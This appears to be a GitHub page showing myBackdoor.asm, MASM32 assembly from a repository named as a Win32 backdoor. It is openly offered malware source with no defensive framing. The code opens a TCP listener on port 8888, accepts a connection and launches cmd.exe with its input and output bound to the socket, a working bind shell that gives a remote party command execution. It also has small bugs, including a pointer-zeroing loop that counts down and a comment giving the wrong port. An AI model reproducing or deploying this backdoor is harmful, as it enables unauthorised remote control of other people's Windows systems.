forked from dali-mrabet/Win32-Run-Time-decryption-Backdoor-
-
Notifications
You must be signed in to change notification settings - Fork 0
/
myBackdoor.asm
102 lines (79 loc) · 1.96 KB
/
myBackdoor.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
.386
.model flat,stdcall
option casemap:none
;------------Block 2----------
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
includelib ws2_32.lib
include ws2_32.inc
.data
msg db "message",0
msg1 db "title",0
error db "error",0
binderror db "cannot bind",0
cmd db "cmd.exe",0
processerror db "cannot create process",0
sockerror db "error in creating a socket ",0
er db "%d-",0
.data?
sa WSADATA <>
pi PROCESS_INFORMATION <>
sii STARTUPINFO <>
client sockaddr_in <>
sock HANDLE ?
newsock HANDLE ?
sizee DWORD ?
sec db 32 dup(?)
.code
start :
mov eax , offset sii.cb
mov dword ptr [eax] , 0
xor eax ,eax
mov eax , offset sii.dwFlags
mov dword ptr [eax] , STARTF_USESTDHANDLES
mov ecx , sizeof(PROCESS_INFORMATION)
mov eax , offset pi
zero :
mov byte ptr [eax], 0
dec eax
dec ecx
cmp ecx ,0
jne zero
invoke WSAStartup ,101h ,addr sa ;0x202 is makeword(2,2)
invoke WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,NULL,NULL
.if eax == -1
invoke MessageBox,NULL, addr sockerror ,addr error,NULL
invoke GetLastError
invoke wsprintf,addr sec , addr er , eax
invoke ExitProcess,-1
.endif
mov sock ,eax
mov [client.sin_family] ,AF_INET
mov dword ptr [client.sin_port] , htons(8888) ; port 24628
mov [client.sin_addr] , INADDR_ANY
invoke bind,sock ,ADDR client , SIZEOF client
.if eax != 0
invoke MessageBox,NULL, addr binderror ,addr error , NULL
invoke GetLastError
invoke wsprintf,addr sec , addr er , eax
invoke ExitProcess,-1
.endif
invoke listen,sock,5
xor eax ,eax
mov sizee , 10h
invoke accept,sock , addr client ,addr sizee
mov newsock,eax
mov [sii.hStdError] , eax
mov [sii.hStdInput] , eax
mov [sii.hStdOutput] , eax
invoke CreateProcess,NULL,addr cmd , 0,0,TRUE,0,0,0,addr sii,addr pi
cmp eax , 0
jne success
invoke MessageBox,NULL, addr processerror ,addr error ,NULL
success :
xor eax,eax
invoke ExitProcess,NULL
end start